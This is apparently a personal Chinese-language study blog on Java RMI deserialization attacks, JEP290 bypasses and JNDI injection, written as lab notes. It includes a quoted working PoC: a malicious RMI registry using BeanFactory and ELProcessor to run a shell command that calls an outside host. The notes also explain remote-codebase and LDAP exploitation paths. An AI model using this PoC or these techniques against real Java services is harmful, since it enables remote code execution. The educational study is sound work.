0%

Java RMI反序列化与JNDI注入入门

Java RMI反序列化与JNDI注入入门

本来是想更新原文章的,但是学着学着发现自己之前根本没懂,写了一万个错的东西,全部推倒重来。最近又看了一下weblogic关于JRMP的一系列漏洞,再订正一下
真正的java漏洞分析都是无尽的代码截图和调试,我这种纯概念的文字叙述只能是记个笔记,先了解各大概

RMI反序列化

主要是利用客户端,服务端以及注册中心交互过程中对象的传递进行反序列化

名词解释

没什么用的环节。Remote Method Invocation,远程方法调用
JRMP,Java Remote Method Protocol,Java远程方法协议,是Java RMI过程中使用的一种协议

实验环境

项目结构如下
structure.png
一般来说RMI中有三个主要成员,Server,Client和Registry,Registry提供一个记录和注册的服务,Server负责注册在Registry上方法的具体实现,而Client就只需要查找Registry中的方法然后调用。

理论上Server和Registry是可以分开的,不过在jdk某个版本之后进行了安全检查,要求注册中心和服务端是同一台机器,否则不给绑定

客户端只需要知道远程提供服务的路径,通过list,lookup等方法去获取一个远程调用的类对象的代理类,对代理类进行方法调用,就转换到将类名方法参数传递到服务端,由服务端查找类方法并进行调用,最后返回得到的结果

整个调用的过程就是服务端运行一个Skeleton(骨架),类的实现之类的都在服务端,而客户端进行远程方法调用的时候,服务端就返回一个Stub(存根),实际上返回的是远程调用类的一个代理对象,其invoke方法就是将参数进行一个序列化,然后发到服务端,服务端收到参数后在本地执行对应的方法,并将执行结果返回给客户端

具体代码

HelloClient.java

package com.z33.client;

import com.z33.HelloInterface;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HelloClient {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            HelloInterface hello = (HelloInterface) registry.lookup("hello");
            System.out.println(hello.sayHello("z33"));
        } catch (NotBoundException | RemoteException e) {
            e.printStackTrace();
        }
    }
}

HelloServer.java

package com.z33.server;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HelloServer {

    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("hello", new HelloImpl());
            System.out.println("Server ready");
        }
        catch (RemoteException | AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

HelloImpl.java

package com.z33.server;

import com.z33.HelloInterface;
import java.rmi.server.UnicastRemoteObject;

// 实现接口
public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
    public HelloImpl() throws java.rmi.RemoteException {
        super();
    }

    public String sayHello(String name) throws java.rmi.RemoteException {
        System.out.println("Hello " + name + "!");
        return "sayHello";
    }
}

HelloInterface.java

package com.z33;

// 客户端只需要接口,远程调用服务端的实现,接口必须在同一个package下
public interface HelloInterface extends java.rmi.Remote {
    public String sayHello(String name) throws java.rmi.RemoteException;
}

这里有一个小坑,就是Client和Server的Interface的完全限定名需要一直,之前在server下写了一个HelloInterface又在client下写了个一样的,但是分别在不同包下就没法类型转换过去,调用不了,最后就直接把实现留一个留在com.z33这个package下了

慢慢把各种攻击方式都本地搭个最简单的复现吧。。。

攻击registry

对注册中心的攻击方式

bind & rebind

对注册中心调用bind和rebind的时候,是会对输入的对象进行反序列化的,因此直接在bind和rebind时发送一个恶意对象即可。不过在jdk6u141jdk7u131jdk8u121中加入了JEP290限制,进行了过滤,只允许白名单内的类反序列化,白名单如下所示,常见的利用链均不会在白名单之中,需要另辟蹊径。该白名单仅影响Registry的几个方法,因此客户端与服务端之间互相攻击仍然不受影响
又,在jdk8u141及其之后对bind和rebind请求进行了检查,只允许本地发起的bind请求,即便使用之后提到的绕过白名单的打法进行攻击也会因为不是本地请求而失败,因此bind打法基本不适用,需要jdk版本较为古老

if (String.class == clazz
        || java.lang.Number.class.isAssignableFrom(clazz)
        || Remote.class.isAssignableFrom(clazz)
        || java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
        || UnicastRef.class.isAssignableFrom(clazz)
        || RMIClientSocketFactory.class.isAssignableFrom(clazz)
        || RMIServerSocketFactory.class.isAssignableFrom(clazz)
        || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
        || java.rmi.server.UID.class.isAssignableFrom(clazz)) {
    return ObjectInputFilter.Status.ALLOWED;
} else {
    return ObjectInputFilter.Status.REJECTED;
}

lookup

lookup因为是查registry,所以不会有刚才提到的限制,但lookup默认传递的是字符串,因为是查询名字对应的方法,传递的不是对象,但server对传递过来的对象即使是string类型也得反序列化,因此魔改lookup函数或是简单的复现其流程,发送一个object,或是通过java agent,rasp等方法注入程序替换序列化数据即可通过lookup攻击registry。

rmb神仙和我说RMI的通信过程和HTTP差不多,都是发一个应答一个,交互基本上就一次性的,所以也可以手搓流量(大概)进行攻击,但是有一些objid之类的东西是随机的?所以需要额外的操作

jdk8u121之前

lookup也好,bind rebind也好,都可以直接发一个能用的链直接一键打穿,这是最快乐的年代

jdk8u121~8u232_b09

由于上文提到的类过滤,直接反序列化链的payload会因为不在白名单类中而失效,这时就需要想办法从白名单类中绕出来
这里使用的是允许的类中的Remote类和UnicastRef类
就是yso中的经典JRMPClient操作,且由于RemoteObjectInvocationHandler中调用了readExternal()去反序列化UnicastRef对象,而不是用传入的ObjectInputStream,导致了weblogic中补丁的进一步绕过,详情参考这个文章Weblogic JRMP反序列化漏洞回顾,不过yso中把最后的对象套了一层proxy,似乎是需要把对象强转成Remote类型的对象,可能这在打RMI上是必须的,不过如果单一个直接的反序列化就不需要套了?

Java默认的序列化机制非常简单,而且序列化后的对象不需要再次调用构造器重新生成,但是在实际中,我们可以会希望对象的某一部分不需要被序列化,或者说一个对象被还原之后,其内部的某些子对象需要重新创建,从而不必将该子对象序列化。 在这些情况下,我们可以考虑实现Externalizable接口从而代替Serializable接口来对序列化过程进行控制。
Externalizable接口extends Serializable接口,而且在其基础上增加了两个方法:writeExternal()和readExternal()。这两个方法会在序列化和反序列化还原的过程中被自动调用,以便执行一些特殊的操作。

在这里readExternal就用ref的ip port一路发起tcp连接并调用一个lookup函数,从而连接到的JRMPListener

JRMP Listener && JRMP Client

yso中JRMP不仅分为Listener和Client,还分为payload和exploit,排列组合就等于有四个类型。两两一组形成两种利用模式
payload/listener+expolit/client和payload/client+expolit/listener

前者通过发送一个反序列化链,使得目标机器启动一个RMI服务监听,然后利用JRMP client发送一个链进行利用

后者通过发送一个反序列化链,使得目标机器反过来对攻击者的JRMP listener发起RMI连接,并通过listener返回一个恶意的链进行攻击

上文提到的白名单绕过,就是使用JRMP Client绕过白名单,让目标对攻击者服务器发送RMI连接(调用lookup函数),此时绕过了对JEP290反序列化类的限制,再从无限制的RMI方法调用中返回真正的payload打穿。
JRMP Listener在RMI连接可控时,能稳定打一个反序列化,其可以通过返回一个ExceptionalReturn状态,在Client处理该状态时,会直接对返回的数据进行反序列化,从而打通。
这个方案不仅适用于lookup函数,在client进行远程方法调用等场合,无论返回值为何种类型,均可以返回该异常类型进行反序列化

然后在之后的版本中UnicastRef类也被修了,JRMP就打不通了,不过好像说有一个用UnicastRemoteObject继续打的,然后在8u241被修了

做了下yxxx师傅的javaDeserializeLabs,里面weblogic那一套JRMP反序列化就是这段的内容,不过在lab7的时候踩了一个坑,jdk在启动的时候指定了-Djdk.serialFilter=!javax.management.BadAttributeValueExpException,把这个类ban了,但是我感觉无影响,CC5用的这个,我换CC6/7就是了,结果yso起了个JRMPListener之后打过去还是报这个错。。。然后仔细一看才发现,yso不知道为什么把反序列化的payload外面又套了一层BadAttributeValueExpException,重新缝一下把这句删掉就能打通了。
看了一下针对RMI服务的九重攻击,原来是反序列化这里是把错误对象反序列化,先写了returnType和ID,然后就是object,当returnType是exception的时候就会把object反序列化,但实际上这里的object不是Exception类也无所谓

越来越搞不懂rmi和jrmp的关系了。。。
在一篇文章中看到了这个说法

JRMP是DGC和RMI底层通讯层,DGC和RMI的最终调用都回到JRMP这一层来

感觉rmi这套攻击主要是rmi中的client,server和registry直接bind,lookup时进行数据交换的漏洞,而这一系列的修补除了影响他们间的互相攻击外,也同时影响了JRMPClient/Server这两条利用链,这两条链也是rmi的一部分所以在修的时候一并修掉了。

registry攻击client

同样也能打服务端,但是基本上注册中心和服务端都是一台机子,所以就不多说了。
其实从上面也能看出来,只要两个机器远程交互的时候传递了序列化的对象,那接受的机器基本上就没跑的会把序列化的对象给反序列化出来,只要目标机器上确实存在这个链,就能一键打通。
使用ysoserial可以生成一个恶意的注册中心,只要服务端调用注册中心的方法,就给你返回一个执行命令的Object给你反序列化

client攻击server

服务端对传递过来的参数放进了一个unmarshalValue函数进行处理,该方法在参数不是基本类型的情况下会对传入数据进行readObject,所以客户端提交给服务端的数据里得有一个Object,也就是服务端提供的函数调用中,至少得有一个函数接受的参数是一个Object,至少得不是一个primitive type才能触发readObject,才能发一个恶意对象过去进行利用
如图
unmarshalValue.png
这里可以看到服务端对传过来的类进行了一个类型判断,只要不是primitive type的类就直接进行readObject反序列化,而再来看一下primitive type有哪些
isPrimitive.png
这意味着string也不是基础类型,服务端如果接受的是string也能打通

把这个复现一下

魔改代码

因为需要调用可序列化对象为参数的函数,所以得把之前的代码加点东西,魔改一下
简单起见,给Hello的接口和实现里面加一个接收Object的函数。

即使我们上面说到String类型也能被反序列化,但本地代码调用远程方法的时候肯定还是得按远程方法的参数类型去发送,否则会出现方法hash校验不通过,即使接受String类型参数的远程方法会反序列化我们发过去的参数,但本地仍然无法轻松的违背调用规则发送一个非String的序列化数据,这就需要对Java源码进行一些魔改或者通过debug和注入程序的方式进行魔改。

jdk8u242中修改了readObject0方法,专门对String类型做了校验,还整出来了有关readString方法专门去读String,简单的理解就是不能再远程接受参数为String的时候硬传个其他的类型上去了。但是除了String外的非基础类型千千万,这么个过滤真的有用吗?

这里演示的是直接传Object的简单利用

// HelloInterface
public String sayHelloObj(Object name) throws RemoteException;
// HelloImpl
public String sayHelloObj(Object name) throws RemoteException {
    System.out.println("Hello " + name.toString() + "!");
    return "sayHelloObj";
}

然后打一个喜闻乐见的cc反序列化
然后cc链的依赖引不进来,又折腾了半天,就是不行,最后把项目重新用maven开了一遍。。。用maven引进来了,然后发现IDEA不知道为什么开始占用一堆端口,把1000-1200中间的几十个端口给占了,然后再改了一下Registry的端口,Client里面调用一下
嗯,没打通,用的CC1的链太古老了,打不通我最新版本jdk8,然后换上cc567几个链可以打高版本,成功弹出计算器。

这里踩了一个小坑,我一开始是直接从rmb神仙的博客里复制粘贴了一个cc5的链,他那里填的命令执行的内容是touch一个文件,而我本地windows肯定不会有touch这个命令,也就出现了报错,但我却发现报错是在client端出现的,而server貌似平稳运行,啥也没说。

经过各种下断点调试,最后我发现,命令执行确实是在server上执行的,只不过报错也好结果也好都会返回给client,我差点以为是哪里出错了导致实际上命令是在client端执行的,呼应了之前的JRMP Listener无论方法client调用的方法的返回值是什么类型,反正直接返回一个异常类型反序列化打通

也学会了一些调试的方法,比如什么在方法处下断点,跟着报错的调用栈几十层几十层的进之类的。。。

server攻击client

刚才说了,只要信息交换过程中给了序列化数据十有八九就会反序列化,所以当客户端调用服务端方法的时候,同样可以让服务端返回一个Object,只需要让客户端调用一个返回值是Object的方法,返回一个恶意的Object就可以把客户端打穿,因此在你攻击其他人的时候,也有可能反手被其他人攻击

JNDI注入

JNDI注入的关键是在用户进行远程方法调用时返回的stub是一个reference类型的对象,且用户本地CLASSPATH不存在该类字节码,导致用户需要加载reference类的字节码,直接返回恶意类字节码命令执行

RMI的漏洞大多情况下还是攻击网络中的registry,虽然在这个过程中可能产生对client的反打,但整体感觉出现的频率不高。
更常见的则是RMI在JNDI查询时的反序列化。JNDI是一种查询的规范(大概),而RMI就是其下的一个实现。这个漏洞被归于JNDI下,是RMI协议遵循JNDI查询时导致的漏洞,与上述rmi攻击环境中双方沟通信息传递参数的漏洞不同,自然也不受到JEP290及其后续修复的影响

JNDI

没什么用的名词介绍环节
Java Naming and Directory Interface,Java命名和目录接口,通过调用JNDI的API应用程序可以定位资源和其他程序对象,现在JNDI能访问的服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

其提供如下三种服务:
Naming Service 命名服务:
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

Directory Service 目录服务:
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用:
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

RMI绑定远程对象

通过在注册中心上绑定一个恶意reference类对象,将恶意对象的字节码放在HTTP/FTP/SMB服务器上,需要客户端在加载reference类时在本地无法找到,通过codebase远程加载恶意类,在类实例化时触发payload
需要满足如下利用条件

  • 安装并配置了SecurityManager
  • java.rmi.server.useCodebaseOnly=false,当useCodebasOnly为true时只允许加载信任codebase,不对未知codebase动态加载类,Java从7u21、6u45开始默认该属性为true
    泛用性很低

JNDI Reference

RMI服务端在进行bind操作的时候,可以绑定一个JNDI Naming Reference(感觉类似于之前的RMI绑定远程对象),当客户端申请Stub的时候,返回的就是一个引用(Reference)对象,该引用对象的加载与RMI Class Loading的机制不同,因此可以绕过java.rmi.server.useCodebaseOnly的限制,但同样有相应的利用条件,需com.sun.jndi.rmi.object.trustURLCodebase=true&com.sun.jndi.cosnaming.object.trustURLCodebase=true,其设置为false时限制了从远程Codebase加载Reference工厂类,JDK 6u132, JDK 7u122, JDK 8u113开始将其默认设置为false

Reference对象没有实现Remote接口也不继承UnicastRemoteObject类,就不能绑定到注册中心上,需要用ReferenceWrapper这个包装类对其进行包装

Reference reference = new Reference("test", "test", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);

当客户端在lookup之类操作问注册中心要Stub的时候,拿到的是引用对象,经过如下调用栈(复制粘贴先知的)

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:7, JNDI_Test (demo)

getObjectFactoryFromReference最后是这么一段

String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

从codebase加载远程类字节码,最后返回一个clas.newInstance,这里就触发了我们预先在恶意类中埋下的雷,实现命令执行

JNDI Reference+LDAP

绑定的东西改成一个LDAP服务,LDAP服务同样可以返回一个JNDI Reference对象,这时通过LDAP远程加载,不受上面这两个com.sun.jndi.rmi.object.trustURLCodebase&com.sun.jndi.cosnaming.object.trustURLCodebase属性的控制,同样也被打了补丁
在在Oracle JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false

利用本地链进行执行

同样有两种攻击方式,一种是利用本地Class作为Reference Factory,第二种是利用本地存在的反序列化链直接进行RCE

#1

本地class作为Reference Factory,这里使用的是org.apache.naming.factory.BeanFactory
利用条件为

implement “javax.naming.spi.ObjectFactory” and have at least a “getObjectInstance” method

这个BeanFactory可以创建任意bean的实例并调用其setter方法(但是我还没有很理解bean是一个什么概念。。。),也许就是实例化任意类?说起来setter调用就会想起来fastJson,但是fastjson的常见利用链,好像就一个JDNI注入是用setter的,剩下的都是用getter,而这里本身就是通过JDNI注入才走到这步的,好像gadget并不互通。。。

构造的bean需要满足如下条件

The target class should have a public no-argument constructor and public setters with only one “String” parameter. In fact, these setters may not necessarily start from ‘set..’ as “BeanFactory” contains some logic surrounding how we can specify an arbitrary setter name for any parameter.

这个BeanFactory有一个奇怪的表现,他会读取ref对象中的forceString属性,如果这个属性的值为a=b,那么BeanFactory就会把函数b当做a属性的setter

/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map forced = new HashMap<>();
String value;
 
if (ra != null) {
    value = (String)ra.getContent();
    Class paramTypes[] = new Class[1];
    paramTypes[0] = String.class;
    String setterName;
    int index;
 
    /* Items are given as comma separated list */
    for (String param: value.split(",")) {
        param = param.trim();
        /* A single item can either be of the form name=method
         * or just a property name (and we will use a standard
         * setter) */
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                         param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                         param.substring(1);
        }

也就是说,我们可以使用BeanFactory调用任意一个拥有public无参构造方法类的以一个String为参数的方法

这里使用的是javax.el.ELProcessor这个类,这个类(好像还蛮经典的)可以使用eval方法执行java代码,且均符合上述条件

原作者给出的poc如下

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

再另一篇神仙的文章中,有说到在tomcat7下,没有javax.el.ELProcessor,需要额外引入,而tomcat8.5后则自带了,且tomcat自带的包和javax.el的ELProcessor包名相同,完全限定名均为javax.el.ELProcessor,并且似乎javax.el下的ELProcesser好像还没法执行上述payload
而tomcat下自带的可以执行
分别对应pom中这几个依赖
tomcat

        <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.34</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.el/com.springsource.org.apache.el -->
        <dependency>
            <groupId>org.apache.el</groupId>
            <artifactId>com.springsource.org.apache.el</artifactId>
            <version>7.0.26</version>
        </dependency>

javax

    <!-- https://mvnrepository.com/artifact/javax.el/javax.el-api -->
    <dependency>
        <groupId>javax.el</groupId>
        <artifactId>javax.el-api</artifactId>
        <version>3.0.1-b06</version>
    </dependency>

    <!-- https://mvnrepository.com/artifact/com.sun.el/el-ri -->
    <dependency>
        <groupId>com.sun.el</groupId>
        <artifactId>el-ri</artifactId>
        <version>1.0</version>

这里有一个坑,IDEA在我输入javax.el的时候提示我导入Java EE 6(虽然我不知道这个是什么),但是这个玩意和之后maven导入的依赖应该是有冲突的,会超级报错。。。

试了一下tomcat10,好像又把这个依赖给去掉了,改成了jakarta.el,看来利用范围也比较有限

#2

在2021天翼杯这个比赛中见识到了(说起来应该不难,但是我真的不太会java)
用JNDI去连LDAP服务,而LDAP服务存的java对象,除了能Reference对象外,也可以存序列化的对象,只要在返回的对象中存在javaSerializedData这个属性,客户端就会对该属性进行反序列化,通过反序列化用户本地存在的链子进行命令执行

这次的比赛就是这样,给了一个jackson的反序列化,同时还安装了ch.qos.logbackCommon-Collection3依赖。我由于完全没有积累,并不知道这个类可以进行JNDI注入,所以只搜到了一个配合h2库进行数据库操作RCE的攻击方式,而题目环境中并未含有此依赖,无法攻击

但是ch.qos.logback这个库还有一个JNDI功能,利用此功能可以进行命令执行
攻击方式较为简单,直接生成cc链反序列化的类字节码,放到LDAP服务中返回的javaSerializedData属性中即可
至于起一个LDAP服务的话,从网上抄一段代码
JNDI-Exploit-Bypass-Demo
还有一个神仙写的基于yso的ysomap工具也能用,做的好高级,和msf的使用方式比较像,就是这个cc8和9是什么东西?好像是把CC再排列组合了一下?功能还蛮多,慢慢看都有啥好玩的
YSOMAP

参考链接

浅谈Java RMI Registry安全问题
JAVA RMI 反序列化攻击 & JEP290 Bypass分析
RMI反序列化
JNDI注入学习
如何绕过高版本JDK的限制进行JNDI注入利用
深入理解Java RMI反序列化漏洞
Java安全之RMI反序列化
BlackHat 2016 回顾之 JNDI 注入简单解析
Java安全之ysoserial-JRMP模块分析(一)
openjdk8u242有关readObject的更新
RMI-反序列化-深入-下
JNDI with RMI

两篇关于JNDI注入BeanFactory利用
Exploiting JNDI Injection In Java
Exploiting JNDI Injections in Java